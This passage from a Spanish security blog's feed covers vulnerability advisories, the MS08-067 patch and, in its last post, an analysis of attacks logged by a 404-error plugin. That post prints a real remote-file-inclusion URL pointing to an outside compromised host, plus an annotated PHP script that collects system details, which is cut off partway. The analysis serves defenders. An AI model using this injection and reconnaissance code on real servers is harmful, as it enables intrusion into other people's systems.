<p>BugSpy funciona sobre <a href="http://www.djangoproject.com/">Django</a>, una plataforma de desarrollo Web que intuyo acabará ganando muchos enteros y adeptos. En mi modesta opinión, veo bastante proyección en este <em>framework</em>, pese a reconocer que la presencia de Python en aplicaciones Web es hoy en día testimonial si la comparamos a otros marcos de trabajo más populares.</p>
<p>Los <em>twitteros</em> están de enhorabuena: las alertas que emanan de los resultados que se van agregando a BugSpy se vuelcan a la cuenta <a href="http://twitter.com/bugalert">http://twitter.com/bugalert</a>. El otro día hablábamos de la utilización de Twitter en el mundo de la seguridad, y cosas de la vida, nos lo volvemos a encontrar. Lo voy teniendo cada día más claro: para estar en la onda al final tendré que hacerme una cuenta y <em>twitear</em> en ella los contenidos del blog.</p>
<p>Un saludo, y buen fin de semana para todos :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sahw.com/wp/archivos/2009/05/22/bugspy-un-buscador-de-vulnerabilidades-de-productos-de-codigo-abierto/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Boletines de seguridad != gestión de seguridad</title>
		<link>http://www.sahw.com/wp/archivos/2009/01/19/boletines-de-seguridad-gestion-de-seguridad/</link>
		<comments>http://www.sahw.com/wp/archivos/2009/01/19/boletines-de-seguridad-gestion-de-seguridad/#comments</comments>
		<pubDate>Mon, 19 Jan 2009 13:30:54 +0000</pubDate>
		<dc:creator>Sergio Hernando</dc:creator>
				<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Avisos Seguridad]]></category>
		<category><![CDATA[Boletines]]></category>
		<category><![CDATA[Security Advisories]]></category>
		<category><![CDATA[Vulnerabilidades]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://www.sahw.com/wp/?p=3355</guid>
		<description><![CDATA[Buenas, Secunia, Secwatch, Securiteam, Vupen, US-CERT ... son muchos los sitios de Internet que se dedican a hablar de vulnerabilidades. Hay servicios gratuitos, los hay de pago. Demasiados para enumerarlos. Estos servicios tienen un denominador común: son repositorios de información en los que se publica, para un producto y un problema determinado, una ficha en [...]]]></description>
			<content:encoded><![CDATA[<p>Buenas,</p>
<p><a href="http://secunia.com/advisories">Secunia</a>, <a href="http://secwatch.org/advisories">Secwatch</a>, <a href="http://www.securiteam.com">Securiteam</a>, <a href="http://www.vupen.com/">Vupen</a>, <a href="http://www.us-cert.gov/cas/alldocs.html">US-CERT</a> ... son muchos los sitios de Internet que se dedican a hablar de vulnerabilidades. Hay servicios gratuitos, los hay de pago. Demasiados para enumerarlos.</p>
<p>Estos servicios tienen un denominador común: son repositorios de información en los que se publica, para un producto y un problema determinado, una ficha en la que suele presentarse, además del producto y versión afectados, datos como nivel de riesgo o criticidad, existencia de parches o <em>workarounds</em> mitigatorios, fechas de descubrimiento, actualización y solución de las vulnerabilidades, así como una breve explicación de la problemática que se denuncia. Es lo que se llama un boletín de seguridad, y los hay de todos los colores y para todos los gustos.</p>
<p>Un boletín tiene una utilidad principal, y esa no es otra que poner en conocimiento de los equipos de gestión del cambio que se ha descubierto un problema de seguridad en un componente que podría pertenecer o pertenece a su parque. Aunque los boletines incluyen enlaces a parches, soluciones, comentarios, vida, obra y milagros de los descubridores del problema, y mucha más información (útil, nadie dice que no) los boletines <em>per se</em> sirven principalmente <strong>para avisar</strong>. Es por esto que los anglosajones los suelen llamar <em>advisories</em>, lo que a veces se traduce como avisos, pero estaría mejor traducido como consejos. </p>
<p>¿Y por qué son consejos o avisos y no mandatos? ¿Por qué es un error convertir cualquier aviso de seguridad en un mandato de seguridad? Pues oiga, muy fácil. Los boletines clasifican los riesgos <strong>sin tener en cuenta el despliegue real del producto</strong>. Cuando un investigador o empresa escribe un boletín, no lo hace poniéndose en la piel de la totalidad de los <em>n</em> usuarios que pueden tener instalado un producto determinado, entre otras razones, porque es imposible. A lo sumo, se basará en una batería de pruebas lo más amplia posible y en su experiencia, pero es imposible reproducir todas las condiciones que pueden darse cuando se instala un paquete o conjunto de programas. El boletín, en mayor o menor medida, se suele escribir de un modo abstracto, analizando los riesgos teniendo en cuenta el elemento de un modo aislado.</p>
<p>Los boletines suelen clasificar los riesgos en función de tres parámetros:</p>
<ul>
<li>Ámbito de explotación: local, remota o ambas</li>
<li>Existencia de parches, contramedidas y <em>exploits</em> conocidos</li>
<li>Tipología de acción maliciosa a la que puede conducir: revelación de información, escalada de privilegios, ejecución de código, denegación de servicio, etc.</li>
</ul>
<p>Así, por poner dos ejemplos básicos, siguiendo esta clasificación un problema que sólo se puede explotar en local, sin acceso al sistema y condicionado, será poco crítico, mientras que una vulnerabilidad que pueda ejecutarse en remoto sin condiciones, y que conduzca a la ejecución de código, existiendo además <em>exploits</em> circulando en redes públicas, será un asunto altamente crítico. </p>
<p>Vamos a ver algunos ejemplos reales donde podremos comprobar que basarnos exclusivamente en un boletín de seguridad para calificar un riesgo para <strong>un despliegue determinado</strong> es un terrible error. Son cuatro ejemplos sobre cuatro productos distintos, y en este caso, son boletines públicos de la empresa Secunia, más o menos recientes en el tiempo.</p>
<p><strong>Ejemplo 1</strong></p>
<p><em>Título</em>: <a href="http://secunia.com/advisories/33089/">Internet Explorer Data Binding Memory Corruption Vulnerability</a> (10 de diciembre de 2008)</p>
<p><em>Calificación según el boletín</em>: Extremadamente crítico (explotación remota, existencia de exploits confirmados, ejecución arbitraria de código)</p>
<p><em>Comentarios</em>: ¿Dónde está reflejado ahí el ámbito de actuación de ese Internet Explorer? En ningún sitio. Es decir, si Internet Explorer es un producto de escritorio en una organización, donde es empleado para acceder a un CRM en red local, donde los equipos no admiten entrada de datos externos (no USB, no CD/DVD, etc) y donde no existe salida a Internet, ¿dónde está la criticidad? En ningún sitio. </p>
<p>Sin embargo, si es un navegador de usuario doméstico o profesional, existiendo salida a Internet y acceso a correo electrónico, sin presencia de medidas de protección, así como una fuerte interrelación con otras aplicaciones en la red, el riesgo sí puede considerarse como muy elevado. Entre ambos extremos, imaginaos la cantidad de supuestos que pueden existir.</p>
<p><strong>Ejemplo 2</strong></p>
<p><em>Título</em>: <a href="http://secunia.com/advisories/32755/">IBM Tivoli Access Manager WebSEAL Denial of Service Vulnerability</a> (25 de noviembre de 2008)</p>
<p><em>Calificación según el boletín</em>: Moderadamente crítico. Razón fundamental, la mezcla de que sea un problema explotable remotamente que puede conducir a una denegación de servicio, y no a un problema de calado mayor (escalada de privilegios, ejecución de código, etc)</p>
<p><em>Comentarios:</em> ¿Qué sucedería si ese TAM estuviera corriendo frente a una infraestructura crítica de autenticación admitiendo tráfico de Internet (lo habitual en un TAM, por cierto) y denegamos el servicio? Por lo pronto, teniendo en cuenta que estos productos suelen estar instalados en grandes infraestructuras, y habitualmente en servicios financieros, el primer efecto de un DoS en un TAM son los perjucios económicos, así como el daño de imagen y el daño reputacional, con lo que aventurar un problema moderadamente crítico podría hacer que nos quedemos cortos.</p>
<p>¿Y si estuviera en un segmento no accesible directamente por el tráfico de Internet, dando cobertura a una estrategia de autenticación de menor importancia? Poco, o nada. ¿Será siempre algo moderadamente crítico? La respuesta es no. </p>
<p><strong>Ejemplo 3</strong></p>
<p><em>Título:</em> <a href="http://secunia.com/advisories/32916/">IBM AIX Multiple Privilege Escalation Vulnerabilities</a> (27 de noviembre de 2008)</p>
<p><em>Calificación según el boletín</em>: Poco crítico. Explotable localmente, y con posibilidad de escalada de privilegios, condicionada a que el sistema opere en determinadas maneras.</p>
<p><em>Comentarios:</em> La primera pregunta. ¿Ha visto Usted un AIX en ejecución alguna vez? Como probablemente no lo habrá visto, yo le cuento: es un sistema profesional, propietario, y además de costar un pastón entre sistema y máquina (porque no corre en el PC que tiene en lo alto de la mesa, por desgracia) suele dar servicio, entre otras cosas, a aplicaciones que necesitan servidores Web estáticos y dinámicos que por desgracia, ni son para poner foros, ni fotos de los amiguetes ni musiquita MP3. Corriendo en un AIX es frecuente ver aplicaciones del mundo de seguros y de la banca a distancia, así como aplicaciones financieras <em>no core</em> y/o con datos muy sensibles. En definitiva, una escalada de privilegios, aunque sólo sea local, puede ser dramática dependiendo de dónde corra ese AIX.</p>
<p>¿Y si ese AIX está en una red interna, protegida del tráfico exterior, y su tráfico está convenientemente filtrado, por ejemplo, porque sólo se accede mediante transacciones CICS? Pues la escalada de privilegios deja de tener sentido, porque los accesos que no son CICS los harán los administradores y operadores de las máquinas, que normalmente tienen accesos UID 0. En estos casos, no es de esperar que haya cuentas de usuario susceptibles de atacar el sistema elevando privilegios.</p>
<p><strong>Ejemplo 4</strong></p>
<p><em>Título:</em> <a href="http://secunia.com/advisories/33522/">Debian update for amarok</a> (16 de enero de 2009)</p>
<p><em>Calificación según el boletín</em>: Altamente crítico (acceso ilegítimo al sistema en remoto)</p>
<p><em>Comentarios:</em> Lo primero es pensar, y darse cuenta de que las probabilidades de encontrarse Amarok corriendo en Debian (siendo la distribución un servidor) son análogas a las de encontrarse Winamp en un servidor Windows: escasas. ¿Que hay gente capaz de todo? Sí. ¿Que hay administradores poco o nada profesionales que tienen 800 paquetes en sus servidores, y sólo usan 50? Sí. ¿Que hay gente que tiene desktops Debian repletos de aplicaciones multimedia? Sí ¿Que la proporción de usuarios desktop en Debian es menor que la de usuarios profesionales? Probablemente. ¿Que lo normal es que alguien que sabe instalar Debian para usarlo de servidor no tenga instalado Amarok ni ninguna otra aplicación de escritorio? También.</p>
<p><strong>Algunas conclusiones</strong></p>
<ol>
<li>Los boletines son útiles y necesarios para administrar la seguridad, pero <strong>es absolutamente necesario contextualizar la problemática</strong> en el despliegue particular que tengamos. Si no sabemos traducir las problemáticas abstractas de un aviso en los riesgos reales de una instalación, mejor que nos dediquemos a otra cosa. Asumir que el riesgo particular de una instalación es el que marca un boletín es un <strong>tremendo error</strong>.</li>
<li>Los boletines <strong>no son mandatos de seguridad</strong>, sino consejos de seguridad. Antes de instalar un parche hay que estudiar el caso con calma, y determinar los riesgos reales para nuestra instalación, no sólo los que puede explotar el problema de seguridad, sino la estrategia de aplicación de parches que puede llevar asociada (especialmente, en términos de incompatibilidad entre productos). Incluso en el caso de un usuario doméstico, tampoco deben ser entendidos como mandatos. Si ha aparecido un problema crítico en el <em>Net Framework</em> y yo no lo tengo instalado, ¿qué urgencia tengo en aplicar parche alguno?</li>
<li>Por último, y tal y como indica el título de este pequeño artículo, <strong>Boletines de seguridad != gestión de seguridad</strong>. Ni la gestión de parches es la gestión de cambios, ni la gestión de la seguridad es la gestión de parches. Cada disciplina tiene su ámbito y hay que saber diferenciar bien qué es cada cosa. Si vas a construir la gestión de tu seguridad obedeciendo sólo lo que te llega en forma de boletín, tu estrategia fallará, porque además de los boletines, de los servicios de consultoría y de las buenas prácticas, tu estratregia necesita algo que sólo puedes darle tú: el conocimiento de tu negocio y cómo atender sus riesgos.</li>
</ol>
<p>Un saludo,</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sahw.com/wp/archivos/2009/01/19/boletines-de-seguridad-gestion-de-seguridad/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Sobre la última vulnerabilidad crítica de Microsoft (parche MS08-067) ¿Hora de cambiar el mensaje?</title>
		<link>http://www.sahw.com/wp/archivos/2008/10/26/sobre-la-ultima-vulnerabilidad-critica-de-microsoft-parche-ms08-067-hora-de-cambiar-el-mensaje/</link>
		<comments>http://www.sahw.com/wp/archivos/2008/10/26/sobre-la-ultima-vulnerabilidad-critica-de-microsoft-parche-ms08-067-hora-de-cambiar-el-mensaje/#comments</comments>
		<pubDate>Sun, 26 Oct 2008 11:15:21 +0000</pubDate>
		<dc:creator>Sergio Hernando</dc:creator>
				<category><![CDATA[Alertas]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Parches]]></category>
		<category><![CDATA[Patch]]></category>
		<category><![CDATA[Vulnerabilidades]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://www.sahw.com/wp/?p=2395</guid>
		<description><![CDATA[Hola, He preferido esperarme un poco a la hora de hablar de este problema, por eso de tener las cosas claras, y es que cuando salen parches inesperados sin detalles, es mejor esperar y ser prudentes antes de opinar, porque de lo contrario es probable que entremos en la especulación. Es siempre preferible esperar actualizaciones [...]]]></description>
			<content:encoded><![CDATA[<p>Hola,</p>
<p>He preferido esperarme un poco a la hora de hablar de este problema, por eso de tener las cosas claras, y es que cuando salen parches inesperados sin detalles, es mejor esperar y ser prudentes antes de opinar, porque de lo contrario es probable que entremos en la especulación. Es siempre preferible esperar actualizaciones en la información cuando se va a opinar de asustos como el que nos ocupa. Esta lección me la apunto para mí también, porque yo soy el primero que a veces ha opinado sin que estuvieran todos los detalles en lo alto de la mesa, y esto puede tener efectos adversos, sobre todo en los que llegan a la información que publicas.</p>
<p>El pasado 23 de octubre, tan pronto estuvo disponible, Microsoft emitió un boletín de seguridad fuera de su ciclo habitual de actualizaciones: <a href="http://www.microsoft.com/technet/security/bulletin/MS08-067.mspx">Microsoft Security Bulletin MS08-067 &#8211; Critical - Vulnerability in Server Service Could Allow Remote Code Execution (958644)</a>, cuya aparición se desveló en un <a href="http://blogs.technet.com/msrc/archive/2008/10/22/advance-notification-for-out-of-band-release.aspx">aviso previo</a>, en el que poco o nada se decía.</p>
<p>Efectivamente, el día 23 apareció este parche, y <a href="http://blogs.technet.com/msrc/archive/2008/10/23/ms08-067-released.aspx">así lo hizo saber el fabricante</a>. En este comunicado se confirmaba que el problema afecta a todas las versiones de Windows en soporte, indicando que era de carácter critico para todas las versiones con la excepción de Vista y "otras versiones nuevas". El carácter crítico no lo discute nadie: hablamos de ejecución remota de código en algo tan básico como el servicio <em>server</em> de Windows. El resumen de impactos es el que sigue:</p>
<p><strong>Versiones con afectación catalogada como crítica</strong></p>
<p><em>Microsoft Windows 2000 Service Pack 4<br />
Windows XP Service Pack 2<br />
Windows XP Service Pack 3<br />
Windows XP Professional x64 Edition<br />
Windows XP Professional x64 Edition Service Pack 2<br />
Windows Server 2003 Service Pack 1<br />
Windows Server 2003 Service Pack 2<br />
Windows Server 2003 x64 Edition<br />
Windows Server 2003 x64 Edition Service Pack 2<br />
Windows Server 2003 with SP1 for Itanium-based Systems<br />
Windows Server 2003 with SP2 for Itanium-based Systems	</em>		</p>
<p><strong>Versiones con afectación catalogada como importante</strong></p>
<p><em>Windows Vista and Windows Vista Service Pack 1<br />
Windows Vista x64 Edition and Windows Vista x64 Edition Service Pack 1<br />
Windows Server 2008 for 32-bit Systems*<br />
Windows Server 2008 for x64-based Systems*<br />
Windows Server 2008 for Itanium-based Systems</em></p>
<p><strong>¿Hora de cambiar el mensaje?</strong></p>
<p>En seguridad es frecuente que los que nos dedicamos a escribir sobre estos temas, que somos muchos, nos limitemos a hacer descripcones técnicas de los incidentes. Por ejemplo:</p>
<blockquote><p>Le informo que el parche MS08-067, que solventa una vulnerabilidad en el <em>Server Service</em> de las versiones en soporte declaradas el ciclo de vida de Microsoft Windows, ha sido liberado fuera del ciclo de actualizaciones, con lo que, dada su gravedad, la recomendación es que actualice de manera urgente. La vulnerabilidad, caso de ser explotada, facilitaría una posible ejecución remota de código.</p></blockquote>
<p>Esta información es suficiente para un técnico o un usuario con cierto conocimiento, pero os invito a que hagáis una prueba con vuestros allegados, a ver quién, después de escuchar un discurso similar, sabe resumir qué pasa, si es o no es un problema, cuáles son las acciones a tomar y porqué hay que tomarlas. Creo que todos coincidiremos que esta información es insuficiente e inútil para la amplia mayoría de la ciudadanía, porque el usuario medio ni sabe lo que es ejecución remota, ni lo que es el servicio <em>server</em> de Windows, ni sabe discernir entre lo que es crítico, importante o poco relevante en el ámbito de la seguridad, ni qué es el ciclo de vida de Microsoft, etc. De hecho, muchos ni sabrán si tienen instalado un <em>Service Pack 2</em> o un <em>Service Pack 3</em>, ni lo que es un Service Pack, o si su sistema es o no es x64. </p>
<p>La información que realmente importa en este asunto es que esta vulnerabilidad, como reconoce el mismo fabricante, se descubrió como parte de un proceso de investigación en series limitadas de <em>malware</em> especializado orientado a Windows XP. Durante unas dos semanas (nos remontamos a la semana del 8 de octubre) los técnicos de Microsoft estuvieron, como es normal y lógico, analizando el tema. Habían descubierto <em>malware</em> (<em>TrojanSpy:Win32/Gimmiv.A y TrojanSpy:Win32/Gimmiv.A.dll</em>) que explotaba una vulnerabilidad que no conocían, y que por ende, se investigó, disparando un proceso de gestión de incidencias que internamente denominan <em><a href="http://www.microsoft.com/security/msrc/incident_response.mspx">Software Security Incident Response Process </a>(SSIRP)</em>.</p>
<p>Según este proceso, se determinó que la vulnerabilidad era potencialmente "<em>wormable</em>", es decir, diseminable masivamente sin intervención del usuario, al igual que sucede con los gusanos, lo cual es sin duda preocupante. Por otro lado, como es normal, el fabricante orientó la producción de un parche corrector a la distribución masiva, rápida y que no ocasionase problemas a la clientela, lo que llevó a acelerar el proceso y no esperar al ciclo de actualizaciones de Noviembre. Una actitud responsable, sin duda alguna, acompañada de otra actitud igualmente responsable, consistente en la <a href="http://www.microsoft.com/security/msrc/mapp/partners.mspx">notificación a los <em>partners</em></a> de los hallazgos y las firmas empleadas para detectar esa nueva amenaza.</p>
<p><strong>Riesgos reales</strong></p>
<p>He echado muy en falta que este problema no haya sido orientado al riego real, y ese no es poder sufrir una <em>ejecución remota de código</em>. El riesgo real para mí es que este problema puede conducir a que el crimen organizado tome control de nuestras máquinas para sostener actividades criminales. En definitiva, que nuestros recursos (nuestro PC, nuestra ADSL, la electricidad que pagamos mes a mes) sirvan para cometer delitos, sin nuestro consentimiento, y sin nuestro consentimiento.</p>
<p>Si hay que señalar a culpables, que sea a quienes investigan estas cosas no por afición, o por colaborar con los fabricantes, sino con fines criminales. Yo en este caso no tengo nada que objetar respecto a la actuación del fabricante, que ha dispuesto todos los medios a su alcance para atender a su clientela, siendo todo lo diligentes y responsables a la hora de emitir un parche necesario, pero que de hacerlo mal, podría afectar a muchas personas. </p>
<p>Desde <a href="http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032394183&Culture=en-US">webcasts</a>, a la información sobre <a href="http://blogs.technet.com/ecostrat/archive/2008/10/23/ms08-067-example-of-need-for-increased-collaboration.aspx">la importancia</a> de <a href="http://www.microsoft.com/security/msrc/mapp/partners.mspx">ir de la mano de sus partners</a>, así como de los <a href="http://www.microsoft.com/security/msrc/mapp/overview.mspx">programas activos de Microsoft</a> para solventar problemas, o de <a href="http://blogs.technet.com/swi/archive/2008/10/25/most-common-questions-that-we-ve-been-asked-regarding-ms08-067.aspx">la importancia de ser prácticos hablando de impactos</a> en estas materias, ofreciendo <a href="http://blogs.technet.com/swi/archive/2008/10/23/More-detail-about-MS08-067.aspx">información detallada</a> y <a href="http://blogs.technet.com/mmpc/archive/2008/10/23/get-protected-now.aspx">medios para protegerse</a>.</p>
<p>¿Pero qué ha sido del malware que ha provocado este jaleo? ¿Y de la posibilidad de que <a href="http://voices.washingtonpost.com/securityfix/2008/10/microsoft_to_issue_emergency_s_1.html">se esté explotando el problema desde hace semanas</a>? ¿Y de las probabilidades de que otras vulnerabilidades no conocidas, similares a la descrita, estén siendo explotadas en la actualidad? </p>
<p>¿Por que no se ha remarcado o enfatizado que la vulnerabilidad se ha descubierto viendo lo que hace un juego de <em>malware</em>? Es decir, que todo esto se ha descubierto porque unos atacantes se han inventado una manera de explotar millones de máquinas, y la han empaquetado el método en un juego de troyanos, que una vez distribuido, ha llegado a las manos de quienes velan por la seguridad de una plataforma desembocando en acciones de mitigación del problema. </p>
<p>Pero, ¿cuántas máquinas han podido recibir ese <em>malware</em> antes de la aparición del parche?  ¿Cuáles son los detalles que nos permiten saber qué hacen y cómo lo hacen esos troyanos? ¿Son pruebas de concepto? ¿Es <em>malware</em> consolidado? Vaya usted a saber ... </p>
<p><strong>Soy usuario doméstico de Windows. ¿Qué hago?</strong></p>
<p>1. <a href="http://windowsupdate.microsoft.com/">Actualice el sistema</a>.<br />
2. <a href="http://go.microsoft.com/fwlink/?LinkID=93152">Compruebe si está infectado</a> (desconozco qué antivirus aparte del propio de Microsoft detectan y solventan la amenaza)<br />
3. Actuar sobre la infección, si existe. Si tiene dudas, <a href="http://support.microsoft.com/securityhome">acuda al fabricante</a>.</p>
<p><strong>Soy usuario profesional de Windows. ¿Qué hago?</strong></p>
<p>1. <a href="http://support.microsoft.com/gp/securityitpro">Diríjase al fabricante</a>.<br />
2. Adopte con su ayuda una estrategia de gestión de incidentes específica para el caso.<br />
3. Actúe en función a la estrategia definida en el paso anterior.</p>
<p><strong>Blogs del fabricante que tratan estas temáticas</strong></p>
<p>Os dejo algunos enlaces útiles del mismo fabricante, para poder tener más información sobre vulnerabilidades en plataformas Windows. Son los siguientes:</p>
<p><a href="http://blogs.technet.com/msrc/default.aspx">The Microsoft Security Response Center (MSRC)</a><br />
<a href="http://blogs.technet.com/ecostrat/">MSRC Ecosystem Strategy Team</a><br />
<a href="http://blogs.technet.com/swi/">Security Vulnerability Research & Defense</a><br />
<a href="http://blogs.technet.com/mmpc/">Microsoft Malware Protection Center</a></p>
<p>Un saludo,</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sahw.com/wp/archivos/2008/10/26/sobre-la-ultima-vulnerabilidad-critica-de-microsoft-parche-ms08-067-hora-de-cambiar-el-mensaje/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Obtención masiva de información técnica de servidores: así trabajan los atacantes</title>
		<link>http://www.sahw.com/wp/archivos/2008/10/15/obtencion-masiva-de-informacion-tecnica-de-servidores-asi-trabajan-los-atacantes/</link>
		<comments>http://www.sahw.com/wp/archivos/2008/10/15/obtencion-masiva-de-informacion-tecnica-de-servidores-asi-trabajan-los-atacantes/#comments</comments>
		<pubDate>Tue, 14 Oct 2008 23:16:08 +0000</pubDate>
		<dc:creator>Sergio Hernando</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[Code Injection]]></category>
		<category><![CDATA[Inyeccion codigo]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Vulnerabilidades]]></category>
		<category><![CDATA[Zapchast.C]]></category>

		<guid isPermaLink="false">http://www.sahw.com/wp/?p=2220</guid>
		<description><![CDATA[Hola, Recientemente instalé un plugin para WordPress que se llama 404 notifier. Este plugin es muy útil, ya que para cada hit que provoque un error 404, el motor del blog me envía un correo electrónico informando de que alguien ha intentado acceder a un contenido sin éxito. Estos plugins son muy útiles para detectar [...]]]></description>
			<content:encoded><![CDATA[<p>Hola,</p>
<p>Recientemente instalé un plugin para WordPress que se llama <a href="http://alexking.org/projects/wordpress/readme?project=404-notifier">404 notifier</a>. Este plugin es muy útil, ya que para cada <em>hit</em> que provoque <a href="http://es.wikipedia.org/wiki/Error_404">un error 404</a>, el motor del blog me envía un correo electrónico informando de que alguien ha intentado acceder a un contenido sin éxito.</p>
<p>Estos <em>plugins</em> son muy útiles para detectar no sólamente grandes cantidades de contenidos que se han vuelto inaccesibles, como sucede en un cambio de <em><a href="http://es.wikipedia.org/wiki/Permalink">permalinks</a></em> o de directorios, sino para afinar y corregir enlaces rotos que por la razón que sea, han sido incluidos en los motores de búsqueda con nomenclaturas distintas a las actuales (por ejemplo, la antigua denominación de categorías del blog, ya que, por poner un ejemplo, lo que antes era <a href="http://www.sahw.com/wp/archivos/category/freestyle/">http://www.sahw.com/wp/archivos/category/freestyle/</a> ahora es <a href="http://www.sahw.com/wp/categorias/freestyle/">http://www.sahw.com/wp/categorias/freestyle/</a>)</p>
<p>Pero este <em>plugin</em> tiene otra función interesante, y esa no es otra que identificar <em>exploits</em>. Hoy vamos a ver un ejemplo real. Tengo que agradecer a <acronym xml:lang="es" title="No seas curioso anda :)" lang="en">SdP</acronym> su cooperación, ya que mis nociones de Perl son limitadas, y sin embargo, las suyas son muy elevadas, y con su ayuda he podido generar un script que barra un fichero <em>mbox</em> de Thunderbird donde conservo los mensajes de <em>404 notifier</em>, automatizando la extracción de hiperenlaces anidados en URLs legítimas. Gracias :D</p>
<p><strong>1. Un ejemplo de un correo originado por <em>404 notifier</em> que contiene un enlace legítimo</strong></p>
<p>Este es un ejemplo real de un correo del plugin, en el que como podemos ver, hay un informe de error 404 provocado por un usuario cuando intentaba acceder a un contenido:</p>
<p><img src="http://www.sahw.com/images/malware/404legitimo.png" alt="404 legitimo" /></p>
<p>Como resulta fácil comprobar, aparece claramente una URL de destino <a href="http://www.sahw.com/wp/favicon.ico">http://www.sahw.com/wp/favicon.ico</a>. Efectivamente, si visitáis ese enlace, obtendremos un 404, porque no hay un favicon ahí alojado. El <em>favicon</em> del dominio sahw.com está alojado en <a href="http://www.sahw.com/favicon.ico">http://www.sahw.com/favicon.ico</a></p>
<p><strong>2. Un ejemplo de un correo originado por <em>404 notifier</em> que contiene un enlace malicioso</strong></p>
<p>Observad ahora <a href="http://www.sahw.com/images/malware/404malicioso.png">este correo</a>. Como podéis ver (es un ejemplo real, vivo en el momento de publicar esta información, aunque en la imagen no aparece completo), se advierte un error 404 al intentar acceder a la URL <em> http://www.sahw.com/wp/archivos/2005/08/12/diez-razones-pa...r-en-internet-explorer-7//modules/PNphpBB2/includes/db.php?phpbb_root_path=<strong>http://www.bahai.org.ve//sistem.txt?</strong></em>. Pero fijaos que el error lo provoca un intento de inyección que, en última instancia, trataba de acceder a <a href="http://www.bahai.org.ve//sistem.txt?">http://www.bahai.org.ve//sistem.txt?</a>, dirección que al ser accedida muestra lo siguiente:</p>
<p><img src="http://www.sahw.com/images/malware/servidor_comprometido.png" alt="servidor comprometido" /></p>
<p><strong>3. Analizando</strong></p>
<p>¿Qué pasa si cogemos un total de 707 mensajes generados por <em>404 notifier</em> y extraemos las URLs maliciosas que puedan contener. El resultado es este listado, en el que se enumeran 45 servidores comprometidos al servicio de los atacantes (en su mayoría, vivos en el momento de publicar este artículo)</p>
<p><img src="http://www.sahw.com/images/malware/listadourlsofuscadas.png" alt="servidores comprometidos" /></p>
<p>Un porcentaje nada desdeñable. El 6,3% de los errores 404 provocados en este blog procede de ataques, o si se prefiere, casi 7 de cada 100 accesos a contenidos inexistentes del blog no han sido provocados por la ausencia de contenidos, sino por la mala intención de un grupo de atacantes.</p>
<p><strong>4. ¿Y qué hace ese código que aparece anteriormente?</strong></p>
<p>Veamos el contenido</p>
<pre class="php">&nbsp;
&lt; ?
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;ALBANIA&quot;</span>; &lt; --- texto libre del atacante
<span style="color: #0000ff;">$alb</span> = @<a href="http://www.php.net/php_uname"><span style="color: #000066;">php_uname</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>; &lt; --- devuelve una descripción del sistema operativo
<span style="color: #0000ff;">$alb2</span> = <a href="http://www.php.net/system"><span style="color: #000066;">system</span></a><span style="color: #66cc66;">&#40;</span>uptime<span style="color: #66cc66;">&#41;</span>; &lt; -- devuelve el tiempo que lleva un sistema <a href="http://www.php.net/sin"><span style="color: #000066;">sin</span></a> reiniciarse
<span style="color: #0000ff;">$alb3</span> = <a href="http://www.php.net/system"><span style="color: #000066;">system</span></a><span style="color: #66cc66;">&#40;</span>id<span style="color: #66cc66;">&#41;</span>; &lt;-- imprime el UID de la cuenta con la que se ejecuta el script
<span style="color: #0000ff;">$alb4</span> = @<a href="http://www.php.net/getcwd"><span style="color: #000066;">getcwd</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>; &lt;-- devuelve el directorio de trabajo
<span style="color: #0000ff;">$alb5</span> = <a href="http://www.php.net/getenv"><span style="color: #000066;">getenv</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;SERVER_SOFTWARE&quot;</span><span style="color: #66cc66;">&#41;</span>; &lt;-- variable de contorno que informa del tipo de servidor web y su versión
<span style="color: #0000ff;">$alb6</span> = <a href="http://www.php.net/phpversion"><span style="color: #000066;">phpversion</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>; &lt;-- versión de PHP en ejecución
<span style="color: #0000ff;">$alb7</span> = <span style="color: #0000ff;">$_SERVER</span><span style="color: #66cc66;">&#91;</span><span style="color: #ff0000;">'SERVER_NAME'</span><span style="color: #66cc66;">&#93;</span>; &lt;-- variable de contorno, devuelve el nombre de la máquina, alias DNS o de la IP.
<span style="color: #0000ff;">$alb8</span> = <a href="http://www.php.net/gethostbyname"><span style="color: #000066;">gethostbyname</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$SERVER_ADDR</span><span style="color: #66cc66;">&#41;</span>; &lt;-- variable de contorno, devuelve la IP del servidor
<span style="color: #0000ff;">$alb9</span> = <a href="http://www.php.net/get_current_user"><span style="color: #000066;">get_current_user</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>; &lt;-- usuario con el que se ejecuta un script PHP
<span style="color: #0000ff;">$os</span> = @<span style="color: #000000; font-weight: bold;">PHP_OS</span>; &lt;-- versión reducida de <a href="http://www.php.net/php_uname"><span style="color: #000066;">php_uname</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>, sólo muestra el nombre del sistema operativo
&nbsp;
===========================================
El siguiente bloque sólo imprime lo obtenido anteriormente
<span style="color: #ff0000">===========================================
</span>
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;os: $os&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;uname -a: $alb&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;uptime: $alb2&quot;</span>;
